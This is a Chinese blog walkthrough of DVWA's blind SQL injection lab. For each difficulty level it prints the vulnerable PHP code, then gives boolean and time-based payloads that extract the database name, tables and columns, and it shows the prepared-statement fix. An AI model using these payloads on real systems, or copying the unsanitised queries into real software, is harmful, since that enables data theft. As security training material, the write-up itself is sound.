盲注,顾名思义,无法从界面上直接查看到执行结果,一般的SQL注入基本绝迹,最多的就是盲注

基本步骤:(由于没有回显了,相比一般的SQL注入,也就不需要确定查询字段数、判断回显位置了)

判断注入类型

破库

破表

破字段

获得数据

Low:

<?php

if( isset( $_GET[ 'Submit' ] ) ) {

// Get input

$id = $_GET[ 'id' ];

// Check database

$getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";

$result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors

// Get results

$num = @mysqli_num_rows( $result ); // The '@' character suppresses errors

if( $num > 0 ) {

// Feedback for end user

echo '<pre>User ID exists in the database.</pre>';

}

else {

// User wasn't found, so the page wasn't!

header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

// Feedback for end user

echo '<pre>User ID is MISSING from the database.</pre>';

}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);

}

?>

没有过滤,但是返回就两种结果,要么有,要么没有

看代码就是字符型注入,也可以输入

1 不报错

1’ 报错

1’ and 1=1 # 不报错

1’ and 1=2 # 报错

这样判断

1’ and length(database())=1 # 不存在

一直往下,直到

1’ and length(database())=4 # 不报错显示存在

说明数据库名是4个字符

举几个例子

1’ and ascii(substr(database(),1,1))>97 # 从a开始挨个试数据库名第一个字母吧

1’ and ascii(substr(database(),2,1))>97 # 再试第二个字母,用二分法划定区间,以此类推

之后猜库中表数量

1’ and (select count(table_name) from information_schema.tables where table_schema=database())=1 #

之后猜第一个表名长度(limit 0,1是前一步猜出来有两个表)

1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1 #

之后猜第一个表的第一个字符

1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97 #

正常来说,可以猜出整个表名

之后猜表中字段数

1’ and (select count(column_name) from information_schema.columns where table_name= ’users’)=1 #

猜字段名

1’ and length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=1 #

还有经典的的二分法时间盲注,不再列举

Medium:

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {

// Get input

$id = $_POST[ 'id' ];

$id = ((isset($GLOBALS["___mysqli_ston"]) &&
is_object($GLOBALS["___mysqli_ston"])) ?
mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $id ) :
((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call!
This code does not work.", E_USER_ERROR)) ? "" : ""));

// Check database

$getid  = "SELECT first_name,
last_name FROM users WHERE user_id = $id;";

$result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress
mysql errors

// Get results

$num = @mysqli_num_rows( $result ); // The '@' character suppresses
errors

if( $num > 0 ) {

// Feedback for end user

echo '<pre>User ID exists in the database.</pre>';

}

else {

// Feedback for end user

echo '<pre>User ID is MISSING from the database.</pre>';

}

//mysql_close();

}

?>

mysql_real_escape_string对特殊字符转义,前端有下拉表单限制

既然如此,可以抓包修改参数

例如时间盲注例句

1 and if(length(database())=4,sleep(5),1) #

1 and if(length(substr((select table_name
from information_schema.tables where table_schema=database() limit
0,1),1))=9,sleep(5),1) #

1 and if((select count(column_name) from
information_schema.columns where table_name=0x7573657273 )=8,sleep(5),1) #

等等

High:

<?php

if( isset( $_COOKIE[ 'id' ] ) ) {

// Get input

$id = $_COOKIE[ 'id' ];

// Check database

$getid  = "SELECT first_name,
last_name FROM users WHERE user_id = '$id' LIMIT 1;";

$result =
mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress
mysql errors

// Get results

$num = @mysqli_num_rows( $result ); // The '@' character suppresses
errors

if( $num > 0 ) {

// Feedback for end user

echo '<pre>User ID exists in the database.</pre>';

}

else {

// Might sleep a random amount

if( rand( 0, 5 ) == 3 ) {

sleep( rand( 2, 4 ) );

}

// User wasn't found, so the page wasn't!

header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

// Feedback for end user

echo '<pre>User ID is MISSING from the database.</pre>';

}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"])))
? false : $___mysqli_res);

}

?>

嗯。。。采用cookie传递id,还对时间盲注有干扰,limit 1 限制了输出结果

那就采用布尔盲注,举几个例子:

抓包将cookie中参数id改为1’ and length(database())=4 #

1’ and length(substr(( select table_name
from information_schema.tables where table_schema=database() limit 0,1),1))=9 #

1’ and (select count(column_name) from information_schema.columns
where table_name=0x7573657273)=8 #

Impossible:

<?php

if( isset( $_GET[ 'Submit' ] ) ) {

// Check Anti-CSRF token

checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ],
'index.php' );

// Get input

$id = $_GET[ 'id' ];

// Was a number entered?

if(is_numeric( $id )) {

// Check the database

$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE
user_id = (:id) LIMIT 1;' );

$data->bindParam( ':id', $id, PDO::PARAM_INT );

$data->execute();

// Get results

if( $data->rowCount() == 1 ) {

// Feedback for end user

echo '<pre>User ID exists in the database.</pre>';

}

else {

// User wasn't found, so the page wasn't!

header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

// Feedback for end user

echo '<pre>User ID is MISSING from the database.</pre>';

}

}

}

// Generate Anti-CSRF token

generateSessionToken();

?>

又是PDO防SQL注入

DVWA靶场之SQL injection(blind)通关的更多相关文章

  1. (十二)DVWA全等级SQL Injection(Blind)盲注--SQLMap测试过程解析

    一.测试前分析 前文<DVWA全等级SQL Injection(Blind)盲注-手工测试过程解析> 通过手工测试的方式详细分析了SQL Injection(Blind)盲注漏洞的利用过程 ...

  2. (十一)DVWA全等级SQL Injection(Blind)盲注--手工测试过程解析

    一.DVWA-SQL Injection(Blind)测试分析 SQL盲注 VS 普通SQL注入: 普通SQL注入 SQL盲注 1.执行SQL注入攻击时,服务器会响应来自数据库服务器的错误信息,信息提 ...

  3. DVWA SQL Injection(Blind) 通关教程

    SQL Injection(Blind),即SQL盲注,与一般注入的区别在于,一般的注入攻击者可以直接从页面上看到注入语句的执行结果,而盲注时攻击者通常是无法从显示页面上获取执行结果,甚至连注入语句是 ...

  4. DVWA靶场之SQL Injection通关

    SQL注入,一个大概的手工流程: 判断是否有注入,什么类型 破解SQL语句中查询的字段数是多少 确定回显位置 破库 破表 破字段 获得内容 Low: <?php if( isset( $_REQ ...

  5. 【DVWA】【SQL Injection(Blind)】SQL盲注 Low Medium High Impossible

    1.初级篇 Low.php 加单引号提交 http://localhost/DVWA-master/vulnerabilities/sqli_blind/?id=1'&Submit=Submi ...

  6. DVWA之 SQL Injection(Blind)

    SQL Injection(Blind) SQL Injection(Blind),即SQL盲注,与一般注入的区别在于,一般的注入攻击者可以直接从页面上看到注入语句的执行结果,而盲注时攻击者通常是无法 ...

  7. SQL Injection (Blind) Low

    SQL盲注分析 盲注较普通注入难度会有所增加,根据页面响应不同大概分为以下几种:布尔型盲注:时间盲注:报错注入 普通注入与盲注的对比: 普通注入:                            ...

  8. DVWA 黑客攻防演练(九) SQL 盲注 SQL Injection (Blind)

    上一篇文章谈及了 dvwa 中的SQL注入攻击,而这篇和上一篇内容很像,都是关于SQL注入攻击.和上一篇相比,上一篇的注入成功就马上得到所有用户的信息,这部分页面上不会返回一些很明显的信息供你调试,就 ...

  9. DVWA靶场之Command Injection(命令行注入)通关

    Command Injection Low: <?php if( isset( $_POST[ 'Submit' ]  ) ) { // Get input $target = $_REQUES ...

随机推荐

  1. 在CentOS7上面部署项目,报出找不到表的错误

    最近在linux服务器上面部署一个javaweb的项目,报出一些奇怪的错误,拉到报错信息的最下面显示mysql数据库的某个表找不到,可以在windows上面是能正常运行的. 最后发现原来是linux服 ...

  2. Linux_NTP

    服务器端配置 允许这些IP向自己同步时间 restrict x.x.x.x mask x.x.x.x nomodiy notrap 当前定义的所有server服务器无法同步后,和自身同步 server ...

  3. java基础---类和对象(1)

    一. 类和对象 面向对象:以属性和行为的观点去分析现实生活中的事物,将功能封装进对象, 强调具备了功能的对象,以类/对象为最小单位,考虑谁来做 面向过程:强调的是功能行为,以函数为最小单位,考虑怎么做 ...

  4. spring中如何向一个单例bean中注入非单例bean

    看到这个题目相信很多小伙伴都是懵懵的,平时我们的做法大都是下面的操作 @Component public class People{ @Autowired private Man man; } 这里如 ...

  5. DataFrame的创建

    DataFrame的创建从Spark2.0以上版本开始,Spark使用全新的SparkSession接口替代Spark1.6中的SQLContext及HiveContext接口来实现其对数据加载.转换 ...

  6. Mycat读写分离的简单实现

    目录 1.Mycat读写分离的配置 1.1.Mycat是什么 1.2.Mycat能干什么 1.2.1.数据库的读写分离 1.2.1.1.数据库读写分离图解 1.2.2.数据库分库分表 1.2.2.1. ...

  7. Selenium3自动化测试【20】CSS定位元素

    CSS 指层叠样式表 (CascadingStyleSheets),CSS一种用来表现HTML或XML等文件样式的计算机语言,其能够灵活的为页面提供丰富样式的风格. CSS使用选择器为页面元素绑定属性 ...

  8. Redis双写一致性与缓存更新策略

    一.双写一致性 双写一致性,也就是说 Redis 和 mysql 数据同步 双写一致性数据同步的方案有: 1.先更新数据库,再更新缓存 这个方案一般不用: 因为当有两个请求AB先后更新数据库后,A应该 ...

  9. 利用奇偶数来获取websocket推送时间间隔(或者比较前一个数和下一个数的变化)

    利用奇偶数来获取websocket推送时间间隔(或者比较前一个数和下一个数的变化) 在vue中的 data () {     return { countTime: 0,         newDat ...

  10. 17Java进阶——反射、进程、Java11新特性

    1.Java反射机制 Java反射(Reflection)概念:在运行时动态获取类的信息以及动态调用对象方法的功能. 1.1反射的应用--通过全类名获取类对象及其方法 package two.refl ...